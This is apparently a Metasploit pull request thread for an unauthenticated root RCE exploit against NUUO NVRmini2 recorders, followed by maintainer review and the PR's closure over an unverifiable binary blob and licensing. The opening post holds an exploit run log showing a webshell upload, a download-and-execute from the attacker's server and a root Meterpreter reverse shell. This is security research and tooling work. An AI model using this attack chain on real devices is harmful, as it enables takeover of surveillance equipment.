Add exploit for NUUO NVRmini2 zero day unauth RCE as root

[pedrib]

This module exploits two vulnerabilities in NUUO's NVRmini2 NVR device.
It allows an unauthenticated attacker to achieve remote code execution as root, and works on all firmwares ever released.

More information in my advisory

msf6 exploit(linux/http/nuuo_nvrmini_unauth_rce_r2) > exploit
[*] Started reverse TCP handler on 192.168.241.1:4444
[*] 192.168.241.61:80 - Uploading initial payload...
[+] 192.168.241.61:80 - We now have root access via /shelly.php, using it to deploy payload...
[*] 192.168.241.61:80 - Starting up our web service on http://192.168.241.1:4445/hWICscieDptfuL ...
[*] Using URL: http://192.168.241.1:4445/hWICscieDptfuL
[*] 192.168.241.61:80 - Asking the device to download and execute http://192.168.241.1:4445/hWICscieDptfuL
[*] 192.168.241.61:80 - Sending the payload to the device...
[*] Sending stage (903360 bytes) to 192.168.241.61
[+] Deleted /NUUO/web/shelly.php
[*] Meterpreter session 5 opened (192.168.241.1:4444 -> 192.168.241.61:40979 ) at 2022-01-07 23:14:29 +0000
[+] 192.168.241.61:80 - Shell incoming!
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > shell
Process 14664 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
uname -a
Linux NVR 2.6.31.8 #1 Thu Oct 11 09:18:12 CST 2018 armv5tel GNU/Linux
cat /etc/titan.conf
[Version]
Kernel=2.6.31.8.0006
MIN_Kernel=2.6.31.8.0000
OS=03.11.0000.0016
MIN_OS=01.06.0000.0113
NVR=03.11.0000.0016
MIN_NVR=01.06.0000.0113
(...)
NVRReleaseDate=20211110
(...)

[pedrib]

TODO:

• create docs
• add proper CVE (requested from MITRE)

I'll do this in the next couple of days!

[pedrib]

What does this mean?
W:150: 24: Lint/UselessAssignment: Useless assignment to variable - content_disposition.

[space-r7]

What does this mean? W:150: 24: Lint/UselessAssignment: Useless assignment to variable - content_disposition.

It typically refers to a variable that's not used anywhere in the module.

[pedrib]

CVE ID requested, coming soon (they're usually pretty quick).

[github-actions]

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

• Writing Module Documentation
• Template
• Examples

[github-actions]

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

[dwelch-r7]

If this were converted over to deliver an ARCH_PHP payload we may be able to avoid the need for the HTTP server interactions
In this pattern you'd deliver the ARCH_PHP payload and simply request it to start it's execution and a handler would pick it up. If you were to use the php/exec payload it could also take a command that would be in the results of triggering the payload

You can check out an example of this here: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/thinkphp_rce.rb#L223

[pedrib]

@dwelch-r7 unfortunately that's not really possible... the target uses a custom encryption scheme which was too lazy to reverse, as that would take substantially more time than I have available.
So I used gdbserver to trick it into encrypting a webshell and a shadow file to use on this exploit.
More info in the advisory:
https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo_nvrmini_round2.mkd

[pedrib]

Docs added, now we just need that CVE and it's good to go!

[pedrib]

all done, good to go

[pedrib]

ok had a typo, now ready to go 4 real (final final x2 version)

[gwillcox-r7]

@dwelch-r7 unfortunately that's not really possible... the target uses a custom encryption scheme which was too lazy to reverse, as that would take substantially more time than I have available. So I used gdbserver to trick it into encrypting a webshell and a shadow file to use on this exploit. More info in the advisory: https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo_nvrmini_round2.mkd

Sorry to be the bearer of bad news @pedrib but after speaking internally with our team unfortunately the decision at the moment is that we can't move this forwards unless we have a way to generate the binary blob ourselves to attest to its integrity. This is the same as our general policy of not allowing arbitrary binaries that we can't compile ourselves into Metasploit Framework.

Once we have a way to generate this binary blob we will be happy to move this forwards. If you have more questions on this @smcintyre-r7 will likely be able to assist you, I'm just relaying on the info he gave me when we had a chat about this.

[pedrib]

@gwillcox-r7 @smcintyre-r7 you guys are breaking my balls... but it's understandable. I'll need to get some free time to reverse the encryption. Don't close this PR please!

[cdelafuente-r7]

Hi @pedrib, I'm just checking-in to see if you could make progress on this or if you need any help from us. Thanks!

[pedrib]

hi @cdelafuente-r7 thanks for asking! Unfortunately haven't had the time to reverse engineer the encryption yet, but it's on my TODO list!

[adfoster-r7]

I wonder - if we could just document the steps for manually encrypt files ourselves - if that would be enough to unblock this PR? i.e. We don't need to verify the decryption is valid - just that we get the expected encrypted file that we're after for RCE?

Just as a sanity question - is the encryption method the same for all devices? i.e. I assume the same encrypted payload works across different devices as well? 😄

[pedrib]

@adfoster-r7 you can check the exact steps in the advisory:
https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo_nvrmini_round2.mkd
The steps are reproducible with firmware emulation if you don't have the device, but of course having it makes everything much easier.

Regarding your question about the device, it most definitely will work on any device, since there is no device dependant encryption, the encryption is done in the firmware (which is not customised per device).

I did confirm that it works across different firmware versions, but would be good to get someone else to confirm too if you have access to the device?

[gwillcox-r7]

Hi all,

I'm on the verge of just atticing this PR. We will ultimately need to make the binary blob ourselves. We could go in and try gdbserver this but then that raises the question of how maintainable this will be in the long run. We currently don't have access to the device. I do not forsee this changing anytime in the future unfortunately unless one of our team members personally wants to acquire one of these devices.

A second concern is that the info at https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo_nvrmini_round2.mkd seems to be behind a GPLv3 license which is incompatible with Metasploit and is not something we can accept. This comes from legal which mentioned that GPLv3 is not something we can legally accept for Metasploit right now. GPLv2 is acceptable and LGPL is acceptable however, as are other common licenses such as MIT, so if you wanted to relicense the research to one of these, this would be acceptable.

I was trying to download the firmware but its behind a login page and it seems their backend can't authenticate to send the emails out. Either that or it really hates temp emails 😅 I can give that another shot though later and hopefully that is fixed; just hope they haven't borked their download servers.

[pedrib]

@gwillcox-r7 please don't ax it! I just need a bit of time, but I will come back to it...

You don't need the device, the firmware can be easily emulated, I can put the steps here. I can also provide you with the firmware.

Regarding the GPLv3, I don't think that's a problem... I've submitted over 50 modules to msf before, and they are all based off GPLv3 advisories... first of all the advisory is not an essential part of the module; secondly I am the creator of this module and of the advisory, so I don't see how that could be a problem.

[gwillcox-r7]

@pedrib Thanks, after speaking with the team I think so long as the binary blobs and module itself are licensed under MSF_LICENSE we should be fine there; my concern was mainly that the binary blobs were GPLv3 licensed that you had created and included in the module itself. I'll await your updates so long 👍 Keep in mind that if we do attic this we can always reopen it once the updates are applied; atticing simply will mean that the PR is marked as closed but can be reopened once the appropriate updates are applied.

[pedrib]

@gwillcox-r7 thanks, I will come back to this!

[gwillcox-r7]

I'm going to attic this PR as this has been open for a year and a half now with no noticeable updates, and its been nearly 6 months since the last request. This is 3 times the normal amount of time we give people for updates. Whilst we are happy to reopen this once the work has been done, we need to keep the PR queue clean so it reflects work that is actively being worked on. Once this PR is updated appropriately we can look at reopening this PR and moving it forwards.

[github-actions]

Thanks for your contribution to Metasploit Framework! We've looked at this pull request, and we agree that it seems like a good addition to Metasploit, but it looks like it is not quite ready to land. We've labeled it attic and closed it for now.

What does this generally mean? It could be one or more of several things:

• It doesn't look like there has been any activity on this pull request in a while
• We may not have the proper access or equipment to test this pull request, or the contributor doesn't have time to work on it right now.
• Sometimes the implementation isn't quite right and a different approach is necessary.

We would love to land this pull request when it's ready. If you have a chance to address all comments, we would be happy to reopen and discuss how to merge this!

[pedrib]

@gwillcox-r7 understandable, but we already have a prototype in-house, we will push and re-open in a month probably. Thank you for your patience!